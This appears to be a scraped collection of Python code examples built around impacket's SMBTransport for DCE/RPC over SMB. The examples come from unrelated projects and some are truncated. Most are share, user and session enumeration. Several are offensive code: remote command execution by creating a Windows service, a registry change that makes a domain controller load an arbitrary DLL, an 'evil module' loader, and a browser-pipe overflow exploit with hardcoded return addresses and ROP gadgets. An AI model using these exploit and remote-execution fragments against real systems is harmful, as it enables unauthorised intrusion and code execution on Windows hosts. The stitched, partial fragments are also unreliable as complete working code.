def decrpc_bind(self, pipe_name, pipe_uuid, transfer_syntax):
        '''Login remote smb host with username, password.
        Send NT Create AndX Request, Path: \pipe_name,
        and Check if pipe binds successfully or not.
        '''
        bindStatus, bindResponse = False, None

        try:
            rpctransport = transport.SMBTransport(self.remote_name,
                                                  username=self.username,
                                                  password=self.password,
                                                  filename='\\' + pipe_name,
                                                  smb_connection=False)
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            iface_uuid = uuidtup_to_bin(pipe_uuid)
            bindResponse = dce.bind(iface_uuid,
                                    transfer_syntax=transfer_syntax)
            if bindResponse:
                bindStatus = True
                bindResponse = bindResponse.fields

            dce.disconnect()
        except Exception as err:
            bindResponse = str(err)

        return bindStatus, bindResponse
示例#2
0
    def _create_rpc_connection(self, pipe):
        # Here we build the DCE/RPC connection
        self._pipe = pipe

        binding_strings = dict()
        binding_strings['srvsvc'] = srvs.MSRPC_UUID_SRVS
        binding_strings['wkssvc'] = wkst.MSRPC_UUID_WKST
        binding_strings['samr'] = samr.MSRPC_UUID_SAMR
        binding_strings['svcctl'] = scmr.MSRPC_UUID_SCMR
        binding_strings['drsuapi'] = drsuapi.MSRPC_UUID_DRSUAPI

        # TODO: try to fallback to TCP/139 if tcp/445 is closed
        if self._pipe == r'\drsuapi':
            string_binding = epm.hept_map(self._target_computer, drsuapi.MSRPC_UUID_DRSUAPI,
                                          protocol='ncacn_ip_tcp')
            rpctransport = transport.DCERPCTransportFactory(string_binding)
            rpctransport.set_credentials(username=self._user, password=self._password,
                                         domain=self._domain, lmhash=self._lmhash,
                                         nthash=self._nthash)
        else:
            rpctransport = transport.SMBTransport(self._target_computer, 445, self._pipe,
                                                  username=self._user, password=self._password,
                                                  domain=self._domain, lmhash=self._lmhash,
                                                  nthash=self._nthash)

        rpctransport.set_connect_timeout(10)
        dce = rpctransport.get_dce_rpc()

        if self._pipe == r'\drsuapi':
            dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

        dce.connect()
        dce.bind(binding_strings[self._pipe[1:]])

        self._rpc_connection = dce
示例#3
0
    def dump(self, addr):
        """Dumps the list of users and shares registered present at
        addr. Addr is a valid host name or IP address.
        """

        print 'Retrieving endpoint list from %s' % addr

        # Try all requested protocols until one works.
        entries = []
        for protocol in self.__protocols:
            protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
            port = protodef[1]

            print "Trying protocol %s..." % protocol
            rpctransport = transport.SMBTransport(addr, port, r'\samr',
                                                  self.__username,
                                                  self.__password,
                                                  self.__domain, self.__lmhash,
                                                  self.__nthash)

            try:
                entries = self.__fetchList(rpctransport)
            except Exception, e:
                print 'Protocol failed: %s' % e
            else:
                # Got a response. No need for further iterations.
                break
示例#4
0
    def enum(self):
        """Dumps the list of users and shares registered present at
        addr. Addr is a valid host name or IP address.
        """

        logging.info('Retrieving endpoint list from %s' % self.__addr)

        # Try all requested protocols until one works.
        entries = []

        protodef = SAMRDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)]
        port = protodef[1]

        logging.info("Trying protocol %s..." % self.__protocol)
        rpctransport = transport.SMBTransport(self.__addr,
                                              port,
                                              r'\samr',
                                              self.__username,
                                              self.__password,
                                              self.__domain,
                                              self.__lmhash,
                                              self.__nthash,
                                              self.__aesKey,
                                              doKerberos=self.__doKerberos)

        try:
            entries = self.__fetchList(rpctransport)
        except Exception, e:
            logging.critical(str(e))
示例#5
0
    def dump(self):

        # Try all requested protocols until one works.
        for protocol in self.protocols:
            try:
                protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
                port = protodef[1]
            except KeyError:
                self.logger.debug("Invalid Protocol '{}'".format(protocol))

            self.logger.debug("Trying protocol {}".format(protocol))
            rpctransport = transport.SMBTransport(self.addr,
                                                  port,
                                                  r'\samr',
                                                  self.username,
                                                  self.password,
                                                  self.domain,
                                                  self.lmhash,
                                                  self.nthash,
                                                  self.aesKey,
                                                  doKerberos=self.doKerberos)

            try:
                self.fetchList(rpctransport)
            except Exception as e:
                self.logger.debug('Protocol failed: {}'.format(e))
            else:
                # Got a response. No need for further iterations.
                self.pretty_print()
                break

        return self.pass_pol
示例#6
0
    def enumGroups(self, silent=False):
        """Dumps the list of users and shares registered present at
        addr. Addr is a valid host name or IP address.
        """

        rpctransport = transport.SMBTransport(self.__addr,
                                              self.__port,
                                              r'\samr',
                                              self.__username,
                                              self.__password,
                                              self.__domain,
                                              self.__lmhash,
                                              self.__nthash,
                                              self.__aesKey,
                                              doKerberos=self.__doKerberos)

        for entry in self.__fetchGroupList(rpctransport):
            (domain, groupname, uid, group, members) = entry
            if self.__host_domain != domain:
                domain = "WORKGROUP"

            yield {
                'domain': domain,
                'groupname': groupname,
                'admin_comment': group['AdminComment'],
                'members_rid': members['RelativeIds'],
                'uid': uid,
            }
示例#7
0
    def try_copy_library(self, lib_name):
        rpctransport = transport.SMBTransport(self.smb.getRemoteName(),
                                              self.smb.getRemoteHost(),
                                              filename=r'\srvsvc',
                                              smb_connection=self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrShareEnum(dce, 2)

        l = []
        ignore_shares = ["print$", "IPC$"]
        for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
            share_name = share['shi2_netname'][:-1]
            share_path = self.translate_smb_path(share['shi2_path'][:-1])
            l.append([share_name, share_path])

        # Randomize the list of shares instead of going from the first to the last
        random.shuffle(l)
        real_file = self.get_real_library_name()
        for share in l:
            log("Trying to copy library '%s' to share '%s'" %
                (lib_name, share))
            if self.try_put(share, lib_name, real_file):
                log("Done!")
                return share[1]

        return None
示例#8
0
    def list_shares(self):
        rpctransport = None
        dce = None

        try:
            rpctransport = impkt_transport.SMBTransport(
                remoteName=self._smb_conn.getRemoteHost(),  # getRemoteName(),
                remote_host=self._smb_conn.getRemoteHost(),
                dstport=self._smb_conn._sess_port,
                smb_connection=self._smb_conn,
                filename="\\srvsvc")

            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(impkt_srvs.MSRPC_UUID_SRVS)
            resp = impkt_srvs.hNetrShareEnum(dce, 1)
            resp = resp["InfoStruct"]["ShareInfo"]["Level1"]["Buffer"]
        except Exception as exc:
            raise SmbError(str(exc))
        finally:
            if dce is not None:
                with contextlib.suppress(Exception):
                    dce.disconnect()

            if rpctransport is not None:
                with contextlib.suppress(Exception):
                    rpctransport.disconnect()

        return resp
示例#9
0
    def enumLoggedIn(self):
        rpctransport = transport.SMBTransport(self.__addr,
                                              self.__port,
                                              r'\wkssvc',
                                              self.__username,
                                              self.__password,
                                              self.__domain,
                                              self.__lmhash,
                                              self.__nthash,
                                              self.__aesKey,
                                              doKerberos=self.__doKerberos)

        dce = rpctransport.get_dce_rpc()

        dce.connect()
        dce.bind(wkst.MSRPC_UUID_WKST)

        try:
            resp = wkst.hNetrWkstaUserEnum(dce, 1)
        except Exception as e:
            raise e

        for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']:
            username = session['wkui1_username'][:-1]
            logonDomain = session['wkui1_logon_domain'][:-1]

            yield {
                'username': username,
                'domain': logonDomain,
            }

        dce.disconnect()
示例#10
0
文件: smbmap.py 项目: net2net/smbmap
    def get_version(self, host):
        try:
            rpctransport = transport.SMBTransport(
                self.smbconn[host].getServerName(),
                self.smbconn[host].getRemoteHost(),
                filename=r'\srvsvc',
                smb_connection=self.smbconn[host])
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrServerGetInfo(dce, 102)

            print "Version Major: %d" % resp['InfoStruct']['ServerInfo102'][
                'sv102_version_major']
            print "Version Minor: %d" % resp['InfoStruct']['ServerInfo102'][
                'sv102_version_minor']
            print "Server Name: %s" % resp['InfoStruct']['ServerInfo102'][
                'sv102_name']
            print "Server Comment: %s" % resp['InfoStruct']['ServerInfo102'][
                'sv102_comment']
            print "Server UserPath: %s" % resp['InfoStruct']['ServerInfo102'][
                'sv102_userpath']
            print "Simultaneous Users: %d" % resp['InfoStruct'][
                'ServerInfo102']['sv102_users']
        except Exception as e:
            print '[!] RPC Access denied...oh well'
            print '[!]', e
            exc_type, exc_obj, exc_tb = sys.exc_info()
            fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
            print(exc_type, fname, exc_tb.tb_lineno)
            sys.exit()
示例#11
0
 def get_dce_rpc(self, named_pipe):
     smbConn = self.get_smbconnection()
     rpctransport = transport.SMBTransport(self.get_remote_host(),
                                           self.get_remote_host(),
                                           filename='\\' + named_pipe,
                                           smb_connection=smbConn)
     return rpctransport.get_dce_rpc()
示例#12
0
    def dump(self):

        # Try all requested protocols until one works.
        for protocol in self.protocols:
            try:
                protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
                port = protodef[1]
            except KeyError:
                logging.debug("Invalid Protocol '{}'".format(protocol))
            logging.debug("Trying protocol {}".format(protocol))
            rpctransport = transport.SMBTransport(self.addr,
                                                  port,
                                                  r'\samr',
                                                  self.username,
                                                  self.password,
                                                  self.domain,
                                                  self.lmhash,
                                                  self.nthash,
                                                  self.aesKey,
                                                  doKerberos=self.doKerberos)
            try:
                self.fetchList(rpctransport)
            except Exception as e:
                logging.debug('Protocol failed: {}'.format(e))
        return self.users
示例#13
0
def service_exec(smbConn, cmd):
	import random
	import string
	from impacket.dcerpc.v5 import transport, srvs, scmr
	
	service_name = ''.join([random.choice(string.letters) for i in range(4)])

	# Setup up a DCE SMBTransport with the connection already in place
	rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn)
	rpcsvc = rpctransport.get_dce_rpc()
	rpcsvc.connect()
	rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
	svnHandle = None
	try:
		print("Opening SVCManager on %s....." % smbConn.getRemoteHost())
		resp = scmr.hROpenSCManagerW(rpcsvc)
		svcHandle = resp['lpScHandle']
		
		# First we try to open the service in case it exists. If it does, we remove it.
		try:
			resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
		except Exception, e:
			if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
				raise e  # Unexpected error
		else:
示例#14
0
    def dump(self, addr):
        """Dumps the list of users and shares registered present at
        addr. Addr is a valid host name or IP address.
        """

        logging.info('Retrieving endpoint list from %s' % addr)

        # Try all requested protocols until one works.
        entries = []
        for protocol in self.__protocols:
            protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
            port = protodef[1]

            logging.info("Trying protocol %s..." % protocol)
            rpctransport = transport.SMBTransport(addr,
                                                  port,
                                                  r'\samr',
                                                  self.__username,
                                                  self.__password,
                                                  self.__domain,
                                                  self.__lmhash,
                                                  self.__nthash,
                                                  self.__aesKey,
                                                  doKerberos=self.__doKerberos,
                                                  kdcHost=self.__kdcHost)

            try:
                entries = self.__fetchList(rpctransport)
            except Exception, e:
                logging.critical(str(e))
            else:
                # Got a response. No need for further iterations.
                break
示例#15
0
    def connect(self,
                domain='',
                username='',
                password='',
                nthash='',
                anonymous=False):
        rpctransport = transport.SMBTransport(self.address, filename=r'\samr')
        if anonymous:
            rpctransport.set_credentials(username='',
                                         password='',
                                         domain='',
                                         lmhash='',
                                         nthash='',
                                         aesKey='')
        elif username != '':
            lmhash = ''
            rpctransport.set_credentials(username,
                                         password,
                                         domain,
                                         lmhash,
                                         nthash,
                                         aesKey='')
        else:
            rpctransport.set_credentials(self.username,
                                         self.oldPassword,
                                         self.domain,
                                         self.oldPwdHashLM,
                                         self.oldPwdHashNT,
                                         aesKey='')

        self.dce = rpctransport.get_dce_rpc()
        self.dce.connect()
        self.dce.bind(samr.MSRPC_UUID_SAMR)
示例#16
0
 def connect(self):
     self.rpctransport = transport.SMBTransport(self.host, dstport=self.port, filename=self.pipe, username=self.username, password=self.password)
     
     self.dce = dcerpc.DCERPC_v5(self.rpctransport)
     
     self.dce.connect()
     
     return None
def start(remoteName, remoteHost, username, password, dllPath):

    winreg_bind = r'ncacn_np:445[\pipe\winreg]'
    hRootKey = None
    subkey = None
    rrpclient = None

    print("[*] Connecting to remote registry")

    try:
        rpctransport = transport.SMBTransport(remoteHost, 445, r'\winreg',
                                              username, password, "", "", "",
                                              "")
    except (Exception) as e:
        print("[x] Error establishing SMB connection: %s" % e)
        return

    try:
        # Set up winreg RPC
        rrpclient = rpctransport.get_dce_rpc()
        rrpclient.connect()
        rrpclient.bind(rrp.MSRPC_UUID_RRP)
    except (Exception) as e:
        print("[x] Error binding to remote registry: %s" % e)
        return

    print("[*] Connection established")
    print(
        "[*] Adding new value to SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPtr"
    )

    try:
        # Add a new registry key
        ans = rrp.hOpenLocalMachine(rrpclient)
        hRootKey = ans['phKey']
        subkey = rrp.hBaseRegOpenKey(
            rrpclient, hRootKey, "SYSTEM\\CurrentControlSet\\Services\\NTDS")
        rrp.hBaseRegSetValue(rrpclient, subkey["phkResult"],
                             "DirectoryServiceExtPt", 1, dllPath)
    except (Exception) as e:
        print("[x] Error communicating with remote registry: %s" % e)
        return

    print("[*] Registry value created, DLL will be loaded from %s" % (dllPath))

    trigger_samr(remoteHost, username, password)

    print("[*] Removing registry entry")

    try:
        rrp.hBaseRegDeleteValue(rrpclient, subkey["phkResult"],
                                "DirectoryServiceExtPt")
    except (Exception) as e:
        print("[x] Error deleting from remote registry: %s" % e)
        return

    print("[*] All done")
示例#18
0
 def load_exp(self):
   module = self.copy_lib(lib_name)
   print "[ " + emoji.emojize(':skull:') + " ] Loading evil module [ " +emoji.emojize(':skull:') +" ]"
   stringbinding = r'ncacn_np:%s[\pipe\%s]'% (self.rhost, module)
   stb = transport.DCERPCStringBinding(stringbinding)
   naddr = stb.get_network_address()
   rpctransport = transport.SMBTransport(naddr, filename = module, smb_connection = self.smb)
   dce = rpctransport.get_dce_rpc()
   dce.connect()
示例#19
0
 def __DCEPacket(self):
     if (self.os == '1'):
         print 'Windows XP SP0/SP1 Universal\n'
         ret = "\x61\x13\x00\x01"
         jumper = nonxjmper % (ret, ret)
     elif (self.os == '2'):
         print 'Windows 2000 Universal\n'
         ret = "\xb0\x1c\x1f\x00"
         jumper = nonxjmper % (ret, ret)
     elif (self.os == '3'):
         print 'Windows 2003 SP0 Universal\n'
         ret = "\x9e\x12\x00\x01"  
         jumper = nonxjmper % (ret, ret)
     elif (self.os == '4'):
         print 'Windows 2003 SP1 English\n'
         ret_dec = "\x8c\x56\x90\x7c"  
         ret_pop = "\xf4\x7c\xa2\x7c"  
         jmp_esp = "\xd3\xfe\x86\x7c"  
         disable_nx = "\x13\xe4\x83\x7c"  
         jumper = disableNXjumper % (
             ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
     elif (self.os == '5'):
         print 'Windows XP SP3 French (NX)\n'
         ret = "\x07\xf8\x5b\x59"  
         disable_nx = "\xc2\x17\x5c\x59"  
         jumper = nonxjmper % (disable_nx, ret)
     elif (self.os == '6'):
         print 'Windows XP SP3 English (NX)\n'
         ret = "\x07\xf8\x88\x6f"  
         disable_nx = "\xc2\x17\x89\x6f"  
         jumper = nonxjmper % (disable_nx, ret)
     elif (self.os == '7'):
         print 'Windows XP SP3 English (AlwaysOn NX)\n'
         rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
             'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
         jumper = generate_rop(rvasets) + "AB"
     else:
         print 'Not supported OS version\n'
         sys.exit(-1)
     print '[-]Initiating connection'
     if (self.port == '445'):
         self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
     else:
         self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )
     self.__trans.connect()
     print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
     self.__dce = self.__trans.DCERPC_class(self.__trans)
     self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
     path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
     server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
     prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
     MaxCount = "\x36\x01\x00\x00"  
     Offset = "\x00\x00\x00\x00"
     ActualCount = "\x36\x01\x00\x00" 
     self.__stub = server + MaxCount + Offset + ActualCount + \
         path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"        
     return
示例#20
0
def service_exec(smbConn, cmd):
    import random
    import string
    from impacket.dcerpc.v5 import transport, srvs, scmr

    service_name = ''.join([random.choice(string.letters) for i in range(4)])

    # Setup up a DCE SMBTransport with the connection already in place
    rpctransport = transport.SMBTransport(smbConn.getRemoteHost(),
                                          smbConn.getRemoteHost(),
                                          filename=r'\svcctl',
                                          smb_connection=smbConn)
    rpcsvc = rpctransport.get_dce_rpc()
    rpcsvc.connect()
    rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
    svnHandle = None
    try:
        print("Opening SVCManager on %s....." % smbConn.getRemoteHost())
        resp = scmr.hROpenSCManagerW(rpcsvc)
        svcHandle = resp['lpScHandle']

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp = scmr.hROpenServiceW(rpcsvc, svcHandle,
                                       service_name + '\x00')
        except Exception, e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
                raise e  # Unexpected error
            else:
                # It exists, remove it
                scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
                scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])

                print('Creating service %s.....' % service_name)
                resp = scmr.hRCreateServiceW(rpcsvc,
                                             svcHandle,
                                             service_name + '\x00',
                                             service_name + '\x00',
                                             lpBinaryPathName=cmd + '\x00')
                serviceHandle = resp['lpServiceHandle']

        if serviceHandle:
            # Start service
            try:
                print('Starting service %s.....' % service_name)
                scmr.hRStartServiceW(rpcsvc, serviceHandle)
                # is it really need to stop?
                # using command line always makes starting service fail because SetServiceStatus() does not get called
                print('Stoping service %s.....' % service_name)
                scmr.hRControlService(rpcsvc, serviceHandle,
                                      scmr.SERVICE_CONTROL_STOP)
            except Exception, e:
                print(str(e))

                print('Removing service %s.....' % service_name)
                scmr.hRDeleteService(rpcsvc, serviceHandle)
                scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
示例#21
0
    def get_dce_bind(smb):
        rpctransport = transport.SMBTransport(smb.getRemoteHost(),
                                              smb.getRemoteHost(),
                                              filename=r'\srvsvc',
                                              smb_connection=smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)

        return dce
示例#22
0
	def _create_rpc_connection(self, target_computer):
		rpctransport = transport.SMBTransport(target_computer, 445, r'\wkssvc', username=self._user, password=self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash)
		rpctransport.set_connect_timeout(10)
		dce = rpctransport.get_dce_rpc()
		try:
			dce.connect()
		except socket.error:
			return
		else:
			dce.bind(wkst.MSRPC_UUID_WKST)
			self._rpc_connection = dce
示例#23
0
 def shares(self):
     shares = []
     rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
     dce = rpctransport.get_dce_rpc()
     dce.connect()
     dce.bind(srvs.MSRPC_UUID_SRVS)
     res = srvs.hNetrShareEnum(dce,1)
     resp = res['InfoStruct']['ShareInfo']['Level1']['Buffer']
     for i in range(len(resp)):                        
         shares += [resp[i]['shi1_netname'][:-1]]
     return shares
示例#24
0
    def smb_transport(self, named_pipe):
        self.trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename=named_pipe,
                                            smb_connection=self.smb, remote_host=self.__dstip)

        try:
            self.trans.connect()
        except socket.error as e:
            logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e))
            raise RuntimeError
        except SessionError as e:
            logger.warn('SMB error: %s' % e.getErrorString())
            raise RuntimeError
示例#25
0
    def do_who(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)

        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
            session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
            session['sesi10_idle_time']))
示例#26
0
 def check_admin(self):
     try:
         self.__trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename='svcctl',
                                               smb_connection=self.smb, remote_host=self.__dstip)
         self.__trans.connect()
         self.__dce = self.__trans.get_dce_rpc()
         self.__dce.bind(scmr.MSRPC_UUID_SCMR)
         self.__resp = scmr.hROpenSCManagerW(self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE)
         self.__mgr_handle = self.__resp['lpScHandle']
         scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle)
         self.__dce.disconnect()
         return True
     except rpcrt.DCERPCException, e:
         pass
示例#27
0
    def listShares(self):
        """
        get a list of available shares at the connected target

        :return: a list containing dict entries for each share, raises exception if error
        """
        # Get the shares through RPC
        from impacket.dcerpc.v5 import transport, rpcrt, srvs
        rpctransport = transport.SMBTransport(self.getRemoteHost(), self.getRemoteHost(), filename = r'\srvsvc', smb_connection = self)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrShareEnum(dce, 1)
        return resp['InfoStruct']['ShareInfo']['Level1']['Buffer']
示例#28
0
    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        logging.info("Requesting shares on %s....." % (self.smbConnection.getRemoteHost()))
        try: 
            self._rpctransport = transport.SMBTransport(self.smbConnection.getRemoteHost(), self.smbConnection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.smbConnection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            logging.critical("Error requesting shares on %s, aborting....." % (self.smbConnection.getRemoteHost()))
            raise
示例#29
0
    def findSuitableShare(self):
        from impacket.dcerpc.v5 import transport, srvs
        rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(),
                                              filename=r'\srvsvc', smb_connection=self.__smbClient)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrShareEnum(dce, 2)
        for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
            if self.isShareWritable(share['shi2_netname'][:-1]):
                sharePath = share['shi2_path'].split(':')[-1:][0][:-1]
                return share['shi2_netname'][:-1], sharePath

        raise Exception('No suitable share found, aborting!')
示例#30
0
    def connect(self):
        rpctransport = transport.SMBTransport(self.target, filename=r'\samr')
        if hasattr(rpctransport, 'set_credentials'):
            # Initializing a null session to be able to change an expired password
            rpctransport.set_credentials(username='',
                                         password='',
                                         domain='',
                                         lmhash='',
                                         nthash='',
                                         aesKey='')

        self.dce = rpctransport.get_dce_rpc()
        self.dce.connect()
        self.dce.bind(samr.MSRPC_UUID_SAMR)